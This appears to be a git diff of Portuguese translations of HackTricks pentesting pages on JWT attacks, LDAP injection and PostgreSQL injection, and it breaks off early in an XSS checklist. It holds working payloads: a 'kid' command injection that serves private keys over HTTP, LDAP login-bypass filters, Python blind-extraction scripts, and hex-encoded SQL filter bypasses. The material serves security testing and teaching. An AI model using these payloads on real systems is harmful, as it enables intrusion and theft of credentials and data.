+* Nenhuma mudança sugere nenhuma verificação; é nesse momento que se deve experimentar manipular as reivindicações de carga útil.

 ### Origem

 É importante determinar se o token foi gerado no lado do servidor ou no lado do cliente examinando o histórico de solicitações do proxy.

 * Tokens vistos pela primeira vez do lado do cliente sugerem que a chave pode estar exposta ao código do lado do cliente, exigindo investigação adicional.
-* Tokens originados do lado do servidor indicam um processo seguro.
+* Tokens originados no lado do servidor indicam um processo seguro.

 ### Duração

-Verifique se o token dura mais de 24 horas... talvez ele nunca expire. Se houver um campo "exp", verifique se o servidor está lidando corretamente com ele.
+Verifique se o token dura mais de 24 horas... talvez nunca expire. Se houver um campo "exp", verifique se o servidor está lidando corretamente com ele.

 ### Força bruta no segredo HMAC

@ -72,14 +72,14 @@ Defina o algoritmo usado como "None" e remova a parte da assinatura.

 Use a extensão Burp chamada "JSON Web Token" para tentar essa vulnerabilidade e alterar diferentes valores dentro do JWT (envie a solicitação para o Repeater e na guia "JSON Web Token" você pode modificar os valores do token. Você também pode selecionar para colocar o valor do campo "Alg" como "None").

-### Alterar o algoritmo RS256 (assimétrico) para HS256 (simétrico) (CVE-2016-5431/CVE-2016-10555)
+### Alterar o algoritmo de RS256 (assimétrico) para HS256 (simétrico) (CVE-2016-5431/CVE-2016-10555)

 O algoritmo HS256 usa a chave secreta para assinar e verificar cada mensagem.\
 O algoritmo RS256 usa a chave privada para assinar a mensagem e usa a chave pública para autenticação.

 Se você alterar o algoritmo de RS256 para HS256, o código do back-end usará a chave pública como a chave secreta e então usará o algoritmo HS256 para verificar a assinatura.

-Em seguida, usando a chave pública e alterando RS256 para HS256, poderíamos criar uma assinatura válida. Você pode recuperar o certificado do servidor web executando isso:
+Em seguida, usando a chave pública e alterando RS256 para HS256, poderíamos criar uma assinatura válida. Você pode recuperar o certificado do servidor da web executando isso:
 ```bash
 openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
 openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
@ -93,9 +93,9 @@ Isso pode ser feito com a extensão "JSON Web Tokens" do Burp.\

 ### Falsificação de JWKS

-As instruções detalham um método para avaliar a segurança dos tokens JWT, especialmente aqueles que empregam uma reivindicação de cabeçalho "jku". Essa reivindicação deve se vincular a um arquivo JWKS (Conjunto de Chaves da Web JSON) que contenha a chave pública necessária para a verificação do token.
+As instruções detalham um método para avaliar a segurança de tokens JWT, especialmente aqueles que empregam um cabeçalho de reivindicação "jku". Essa reivindicação deve se vincular a um arquivo JWKS (JSON Web Key Set) que contenha a chave pública necessária para a verificação do token.

-* **Avaliando Tokens com Cabeçalho "jku"**:
+* **Avaliando Tokens com o Cabeçalho "jku"**:
 * Verifique a URL da reivindicação "jku" para garantir que ela leve ao arquivo JWKS apropriado.
 * Modifique o valor "jku" do token para direcionar para um serviço web controlado, permitindo a observação do tráfego.
 * **Monitorando a Interação HTTP**:
@ -108,7 +108,7 @@ As instruções detalham um método para avaliar a segurança dos tokens JWT, es
 python3 jwt_tool.py JWT_AQUI -X s
 ```

-### Visão Geral de Problemas com "kid"
+### Visão Geral de Problemas com Kid

 Uma reivindicação de cabeçalho opcional conhecida como `kid` é utilizada para identificar uma chave específica, o que se torna particularmente vital em ambientes onde múltiplas chaves existem para verificação da assinatura do token. Essa reivindicação auxilia na seleção da chave apropriada para verificar a assinatura de um token.

@ -134,7 +134,7 @@ Essa alteração força o uso de uma chave secreta conhecida, `ATTACKER`, para a

 #### Injeção de SO através do "kid"

-Um cenário em que o parâmetro `kid` especifica um caminho de arquivo usado em um contexto de execução de comando poderia levar a vulnerabilidades de Execução de Código Remoto (RCE). Ao injetar comandos no parâmetro `kid`, é possível expor chaves privadas. Um exemplo de carga útil para alcançar RCE e exposição de chaves é:
+Um cenário em que o parâmetro `kid` especifica um caminho de arquivo usado em um contexto de execução de comando poderia levar a vulnerabilidades de Execução Remota de Código (RCE). Ao injetar comandos no parâmetro `kid`, é possível expor chaves privadas. Um exemplo de carga útil para alcançar RCE e exposição de chaves é:

 `/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`

@ -151,7 +151,7 @@ openssl genrsa -out keypair.pem 2048
 openssl rsa -in keypair.pem -pubout -out publickey.crt
 openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
 ```
-Então você pode usar, por exemplo, [**jwt.io**](https://jwt.io) para criar o novo JWT com as **chaves públicas e privadas criadas e apontando o parâmetro jku para o certificado criado.** Para criar um certificado jku válido, você pode baixar o original e alterar os parâmetros necessários.
+Então você pode usar, por exemplo, [**jwt.io**](https://jwt.io) para criar o novo JWT com as **chaves pública e privada criadas e apontando o parâmetro jku para o certificado criado.** Para criar um certificado jku válido, você pode baixar o original e alterar os parâmetros necessários.

 Você pode obter os parâmetros "e" e "n" de um certificado público usando:
 ```bash
@ -173,17 +173,17 @@ Para forjar um novo token usando um certificado controlado por você, é necess
 openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
 openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
 ```
-Então você pode usar, por exemplo, [**jwt.io**](https://jwt.io) para criar o novo JWT com as **chaves públicas e privadas criadas e apontando o parâmetro x5u para o certificado .crt criado**.
+Então você pode usar, por exemplo, [**jwt.io**](https://jwt.io) para criar o novo JWT com as **chaves pública e privada criadas e apontando o parâmetro x5u para o certificado .crt criado**.

-![](<../.gitbook/assets/image (439).png>)
+![](<../.gitbook/assets/image (953).png>)

-Você também pode abusar de ambas essas vulnerabilidades **para SSRFs**.
+Você também pode abusar de ambas as vulnerabilidades **para SSRFs**.

 #### x5c

 Este parâmetro pode conter o **certificado em base64**:

-![](<../.gitbook/assets/image (440).png>)
+![](<../.gitbook/assets/image (1116).png>)

 Se o atacante **gerar um certificado autoassinado** e criar um token falsificado usando a chave privada correspondente e substituir o valor do parâmetro "x5c" pelo certificado recém-gerado e modificar os outros parâmetros, nomeadamente n, e e x5t, então essencialmente o token falsificado seria aceito pelo servidor.
 ```bash
@ -194,7 +194,7 @@ openssl x509 -in attacker.crt -text

 Se o JWT tiver incorporada uma chave pública como no seguinte cenário:

-![](<../.gitbook/assets/image (438).png>)
+![](<../.gitbook/assets/image (619).png>)

 Usando o seguinte script nodejs é possível gerar uma chave pública a partir desses dados:
 ```bash
@ -224,16 +224,16 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
 ```
 ### ES256: Revelando a chave privada com o mesmo nonce

-Se algumas aplicações usam ES256 e o mesmo nonce para gerar dois JWTs, a chave privada pode ser restaurada.
+Se algumas aplicações usam ES256 e utilizam o mesmo nonce para gerar dois JWTs, a chave privada pode ser restaurada.

 Aqui está um exemplo: [ECDSA: Revelando a chave privada, se o mesmo nonce for usado (com SECP256k1)](https://asecuritysite.com/encryption/ecd5)

 ### JTI (JWT ID)

-A reivindicação JTI (JWT ID) fornece um identificador único para um Token JWT. Pode ser usado para evitar que o token seja reproduzido.\
-No entanto, imagine uma situação em que o comprimento máximo do ID é 4 (0001-9999). A solicitação 0001 e 10001 vão usar o mesmo ID. Portanto, se o backend estiver incrementando o ID em cada solicitação, você poderia abusar disso para **reproduzir uma solicitação** (sendo necessário enviar 10000 solicitações entre cada reprodução bem-sucedida).
+O claim JTI (JWT ID) fornece um identificador único para um Token JWT. Pode ser usado para evitar que o token seja reutilizado.\
+No entanto, imagine uma situação em que o comprimento máximo do ID é 4 (0001-9999). A requisição 0001 e 10001 vão usar o mesmo ID. Portanto, se o backend estiver incrementando o ID a cada requisição, você poderia abusar disso para **repetir uma requisição** (sendo necessário enviar 10000 requisições entre cada repetição bem-sucedida).

-### Reivindicações registradas do JWT
+### Claims Registrados do JWT

 {% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}

@ -241,23 +241,23 @@ No entanto, imagine uma situação em que o comprimento máximo do ID é 4 (0001

 **Ataques de Revezamento entre Serviços**

-Foi observado que algumas aplicações web dependem de um serviço JWT confiável para a geração e gerenciamento de seus tokens. Foram registradas instâncias em que um token, gerado para um cliente pelo serviço JWT, foi aceito por outro cliente do mesmo serviço JWT. Se a emissão ou renovação de um JWT via um serviço de terceiros for observada, a possibilidade de se inscrever em uma conta em outro cliente desse serviço usando o mesmo nome de usuário/email deve ser investigada. Deve-se então tentar reproduzir o token obtido em uma solicitação ao alvo para ver se ele é aceito.
+Foi observado que algumas aplicações web dependem de um serviço JWT confiável para a geração e gerenciamento de seus tokens. Foram registradas instâncias em que um token, gerado para um cliente pelo serviço JWT, foi aceito por outro cliente do mesmo serviço JWT. Se a emissão ou renovação de um JWT via um serviço de terceiros for observada, a possibilidade de se inscrever para uma conta em outro cliente desse serviço usando o mesmo nome de usuário/email deve ser investigada. Deve-se então tentar repetir o token obtido em uma requisição ao alvo para ver se ele é aceito.

-* Um problema crítico pode ser indicado pela aceitação do seu token, potencialmente permitindo a falsificação da conta de qualquer usuário. No entanto, deve-se observar que pode ser necessária permissão para testes mais amplos se inscrever em um aplicativo de terceiros, pois isso poderia entrar em uma área cinzenta legal.
+* A aceitação do seu token pode indicar um problema crítico, potencialmente permitindo a falsificação da conta de qualquer usuário. No entanto, deve-se observar que pode ser necessária permissão para testes mais amplos ao se inscrever em um aplicativo de terceiros, pois isso poderia entrar em uma área legal cinzenta.

 **Verificação de Expiração de Tokens**

-A expiração do token é verificada usando a reivindicação de Payload "exp". Dado que os JWTs são frequentemente empregados sem informações de sessão, é necessária uma manipulação cuidadosa. Em muitas instâncias, capturar e reproduzir o JWT de outro usuário poderia permitir a personificação desse usuário. O RFC do JWT recomenda mitigar ataques de reprodução de JWT utilizando a reivindicação "exp" para definir um tempo de expiração para o token. Além disso, a implementação de verificações relevantes pela aplicação para garantir o processamento desse valor e a rejeição de tokens expirados é crucial. Se o token incluir uma reivindicação "exp" e os limites de tempo de teste permitirem, armazenar o token e reproduzi-lo após o tempo de expiração ter passado é aconselhável. O conteúdo do token, incluindo a análise de timestamp e verificação de expiração (timestamp em UTC), pode ser lido usando a flag -R da ferramenta jwt_tool.
+A expiração do token é verificada usando o claim "exp" do Payload. Dado que os JWTs são frequentemente utilizados sem informações de sessão, é necessária uma manipulação cuidadosa. Em muitas instâncias, capturar e repetir o JWT de outro usuário poderia permitir a impersonificação desse usuário. O RFC do JWT recomenda mitigar ataques de repetição de JWT utilizando o claim "exp" para definir um tempo de expiração para o token. Além disso, a implementação de verificações relevantes pela aplicação para garantir o processamento desse valor e a rejeição de tokens expirados é crucial. Se o token incluir um claim "exp" e os limites de tempo de teste permitirem, armazenar o token e repeti-lo após o tempo de expiração ter passado é aconselhável. O conteúdo do token, incluindo a análise de timestamp e verificação de expiração (timestamp em UTC), pode ser lido usando a flag -R da ferramenta jwt_tool.

-* Um risco de segurança pode estar presente se a aplicação ainda validar o token, pois isso pode implicar que o token nunca poderia expirar.
+* Um risco de segurança pode estar presente se a aplicação ainda validar o token, pois isso pode implicar que o token nunca poderá expirar.

 ### Ferramentas

 {% embed url="https://github.com/ticarpi/jwt_tool" %}

-<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

-Se você está interessado em uma **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).
+Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada é necessária_).

 {% embed url="https://www.stmcyber.com/careers" %}

@ -270,7 +270,7 @@ Outras maneiras de apoiar o HackTricks:
 * Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
 * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou nos siga no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

 </details>
--- a/pentesting-web/ldap-injection.md
+++ b/pentesting-web/ldap-injection.md
@ -1,4 +1,4 @@
-# LDAP Injection
+# Injeção LDAP

 ## Injeção LDAP

@ -16,9 +16,9 @@ Outras formas de apoiar o HackTricks:

 </details>

-<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

-Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
+Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrito e falado é necessária_).

 {% embed url="https://www.stmcyber.com/careers" %}

@ -32,9 +32,9 @@ Se você está interessado em **carreira de hacking** e hackear o inhackeável -
 [pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
 {% endcontent-ref %}

-A **Injeção LDAP** é um ataque direcionado a aplicações web que constroem declarações LDAP a partir da entrada do usuário. Isso ocorre quando a aplicação **não sanitiza corretamente** a entrada, permitindo que os atacantes **manipulem declarações LDAP** por meio de um proxy local, potencialmente resultando em acesso não autorizado ou manipulação de dados.
+A **Injeção LDAP** é um ataque direcionado a aplicações web que constroem declarações LDAP a partir da entrada do usuário. Ocorre quando a aplicação **falha em sanitizar corretamente** a entrada, permitindo que os atacantes **manipulem declarações LDAP** por meio de um proxy local, potencialmente resultando em acesso não autorizado ou manipulação de dados.

-{% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %}
+{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}

 **Filtro** = ( filtercomp )\
 **Filtercomp** = and / or / not / item\
@ -49,8 +49,8 @@ A **Injeção LDAP** é um ataque direcionado a aplicações web que constroem d
 **Substring** = attr ”=” \[initial] \* \[final]\
 **Initial** = assertionvalue\
 **Final** = assertionvalue\
-**(&)** = TRUE Absoluto\
-**(|)** = FALSE Absoluto
+**(&)** = Verdadeiro Absoluto\
+**(|)** = Falso Absoluto

 Por exemplo:\
 `(&(!(objectClass=Impresoras))(uid=s*))`\
@ -75,7 +75,6 @@ Então: `(&(objectClass=`**`*)(ObjectClass=*))`** será o primeiro filtro (o exe
 ### Bypass de Login

 O LDAP suporta vários formatos para armazenar a senha: clara, md5, smd5, sh1, sha, crypt. Portanto, pode ser que, independentemente do que você inserir na senha, ela seja hashada.
-
 ```bash
 user=*
 password=*
@ -130,7 +129,6 @@ username=admin))(|(|
 password=any
 --> (&(uid=admin)) (| (|) (webpassword=any))
 ```
-
 #### Listas

 * [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt)
@ -140,7 +138,6 @@ password=any
 ### Injeção LDAP Cega

 Você pode forçar respostas Falsas ou Verdadeiras para verificar se algum dado é retornado e confirmar uma possível Injeção LDAP Cega:
-
 ```bash
 #This will result on True, so some information will be shown
 Payload: *)(objectClass=*))(&objectClass=void
@ -152,11 +149,9 @@ Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
 Payload: void)(objectClass=void))(&objectClass=void
 Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
 ```
-
 #### Despejar dados

 Você pode iterar sobre as letras ascii, dígitos e símbolos:
-
 ```bash
 (&(sn=administrator)(password=*))    : OK
 (&(sn=administrator)(password=A*))   : KO
@ -167,11 +162,9 @@ Você pode iterar sobre as letras ascii, dígitos e símbolos:
 (&(sn=administrator)(password=MB*))  : KO
 ...
 ```
-
 #### **Descobrir campos LDAP válidos**

 Os objetos LDAP **contêm por padrão vários atributos** que podem ser usados para **salvar informações**. Você pode tentar **forçar a entrada em todos eles para extrair essas informações**. Você pode encontrar uma lista de [**atributos LDAP padrão aqui**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
-
 ```python
 #!/usr/bin/python3
 import requests
@ -203,9 +196,7 @@ if char == alphabet[-1]: #If last of all the chars, then, no more chars in the v
 finish = True
 print()
 ```
-
 #### **Injeção LDAP Blind Especial (sem "\*")**
-
 ```python
 #!/usr/bin/python3

@ -222,33 +213,30 @@ flag += char
 print("[+] Flag: " + flag)
 break
 ```
-
 ### Dorks do Google
-
 ```bash
 intitle:"phpLDAPadmin" inurl:cmd.php
 ```
-
 ### Mais Cargas Úteis

 {% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}

-<figure><img src="https://github.com/carlospolop/hacktricks/blob/pt/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

-Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
+Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).

 {% embed url="https://www.stmcyber.com/careers" %}

 <details>

-<summary><strong>Aprenda hacking AWS de zero a herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

-Outras formas de apoiar o HackTricks:
+Outras maneiras de apoiar o HackTricks:

-* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
 * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
+* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

 </details>
--- a/pentesting-web/sql-injection/postgresql-injection/README.md
+++ b/pentesting-web/sql-injection/postgresql-injection/README.md
@ -1,4 +1,4 @@
-# PostgreSQL injection
+# Injeção no PostgreSQL

 <details>

@ -14,9 +14,9 @@ Outras formas de apoiar o HackTricks:

 </details>

-<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

-Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrito e falado é necessária_).
+Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).

 {% embed url="https://www.stmcyber.com/careers" %}

@ -24,7 +24,7 @@ Se você está interessado em **carreira de hacking** e hackear o inquebrável -

 **Esta página tem como objetivo explicar diferentes truques que podem ajudá-lo a explorar uma injeção SQL encontrada em um banco de dados postgresql e complementar os truques que você pode encontrar em** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)

-## Interação de Rede - Escalação de Privilégios, Scanner de Portas, Divulgação de Resposta de Desafio NTLM e Exfiltração
+## Interação de Rede - Escalação de Privilégios, Scanner de Portas, Divulgação de Desafio NTLM e Exfiltração

 O módulo **PostgreSQL `dblink`** oferece capacidades para se conectar a outras instâncias do PostgreSQL e executar conexões TCP. Esses recursos, combinados com a funcionalidade `COPY FROM`, permitem ações como escalonamento de privilégios, varredura de portas e captura de resposta de desafio NTLM. Para métodos detalhados sobre como executar esses ataques, confira como [realizar esses ataques](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).

@ -49,35 +49,28 @@ Manipular strings pode ajudá-lo a **burlar WAFs ou outras restrições**.\

 ### Consultas Empilhadas

-Lembre-se de que o postgresql suporta consultas empilhadas, mas várias aplicações lançarão um erro se 2 respostas forem retornadas quando se espera apenas 1. No entanto, você ainda pode abusar das consultas empilhadas via injeção de Tempo:
-
+Lembre-se de que o postgresql suporta consultas empilhadas, mas vários aplicativos lançarão um erro se 2 respostas forem retornadas quando se espera apenas 1. No entanto, você ainda pode abusar das consultas empilhadas via injeção de Tempo:
 ```
 id=1; select pg_sleep(10);-- -
 1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
 ```
-
 ### Truques XML

 **query\_to\_xml**

-Esta função irá retornar todos os dados em formato XML em apenas um arquivo. É ideal se você deseja despejar muitos dados em apenas 1 linha:
-
+Esta função retornará todos os dados em formato XML em apenas um arquivo. É ideal se você deseja despejar muitos dados em apenas 1 linha:
 ```sql
 SELECT query_to_xml('select * from pg_user',true,true,'');
 ```
-
 **database\_to\_xml**

-Esta função irá despejar todo o banco de dados em formato XML em apenas 1 linha (tenha cuidado se o banco de dados for muito grande, pois você pode causar um ataque de negação de serviço (DoS) nele ou até mesmo em seu próprio cliente):
-
+Esta função irá despejar todo o banco de dados em formato XML em apenas 1 linha (tenha cuidado se o banco de dados for muito grande, pois você pode DoSá-lo ou até mesmo o seu próprio cliente):
 ```sql
 SELECT database_to_xml(true,true,'');
 ```
-
 ### Strings in Hex

-Se você pode executar **consultas** passando-as **dentro de uma string** (por exemplo, usando a função **`query_to_xml`**). **Você pode usar o convert\_from para passar a string como hexadecimal e contornar filtros dessa maneira:**
-
+Se você pode executar **consultas** passando-as **dentro de uma string** (por exemplo, usando a função **`query_to_xml`**). **Você pode usar o `convert_from` para passar a string como hexadecimal e contornar filtros dessa maneira:**
 ```sql
 select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');

@ -87,39 +80,36 @@ select encode('select cast(string_agg(table_name, '','') as int) from informatio
 # Bypass via boolean + error based + query_to_xml with hex
 1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
 ```
+{% endcode %}

 ### Aspas proibidas

 Se não puder usar aspas para sua carga útil, você pode contornar isso com `CHR` para cláusulas básicas (_a concatenação de caracteres funciona apenas para consultas básicas como SELECT, INSERT, DELETE, etc. Não funciona para todas as instruções SQL_):
-
 ```
 SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
 ```
-
 Ou com `$`. Essas consultas retornam os mesmos resultados:
-
 ```
 SELECT 'hacktricks';
 SELECT $$hacktricks$$;
 SELECT $TAG$hacktricks$TAG$;
 ```
+<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

-<figure><img src="https://github.com/carlospolop/hacktricks/blob/pt/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
-
-Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
+Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrito e falado é necessária_).

 {% embed url="https://www.stmcyber.com/careers" %}

 <details>

-<summary><strong>Aprenda hacking AWS de zero a herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

-Outras formas de apoiar o HackTricks:
+Outras maneiras de apoiar o HackTricks:

 * Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
 * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). 

 </details>
--- a/pentesting-web/xss-cross-site-scripting/README.md
+++ b/pentesting-web/xss-cross-site-scripting/README.md
@ -1,8 +1,8 @@
 # XSS (Cross Site Scripting)

-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

-Se você está interessado em **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
+Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrito e falado é necessária_).

 {% embed url="https://www.stmcyber.com/careers" %}

@ -11,27 +11,27 @@ Se você está interessado em **carreira de hacking** e hackear o inhackeável -
 1. Verifique se **qualquer valor que você controle** (_parâmetros_, _caminho_, _cabeçalhos_?, _cookies_?) está sendo **refletido** no HTML ou **usado** pelo código **JS**.
 2. **Encontre o contexto** onde está sendo refletido/usado.
 3. Se **refletido**
-4. Verifique **quais símbolos você pode usar** e, dependendo disso, prepare o payload:
-5. Em **HTML bruto**:
-6. Você pode criar novas tags HTML?
-7. Você pode usar eventos ou atributos que suportam o protocolo `javascript:`?
-8. Você pode contornar proteções?
-9. O conteúdo HTML está sendo interpretado por algum mecanismo JS do lado do cliente (_AngularJS_, _VueJS_, _Mavo_...), você poderia abusar de uma [**Injeção de Modelo do Lado do Cliente**](../client-side-template-injection-csti.md).
-10. Se você não pode criar tags HTML que executem código JS, poderia abusar de uma [**Marcação Pendente - Injeção de HTML sem script**](../dangling-markup-html-scriptless-injection/).
-11. Dentro de uma **tag HTML**:
-12. Você pode sair para o contexto de HTML bruto?
-13. Você pode criar novos eventos/atributos para executar código JS?
-14. O atributo onde você está preso suporta a execução de JS?
-15. Você pode contornar proteções?
-16. Dentro do código **JavaScript**:
-17. Você pode escapar da tag `<script>`?
-18. Você pode escapar da string e executar código JS diferente?
-19. Seus inputs estão em literais de modelo \`\`?
-20. Você pode contornar proteções?
-21. Função **JavaScript** sendo **executada**
-22. Você pode indicar o nome da função a ser executada. ex.: `?callback=alert(1)`
-23. Se **usado**:
-24. Você poderia explorar um **DOM XSS**, preste atenção em como seu input é controlado e se seu **input controlado é usado por algum sink**.
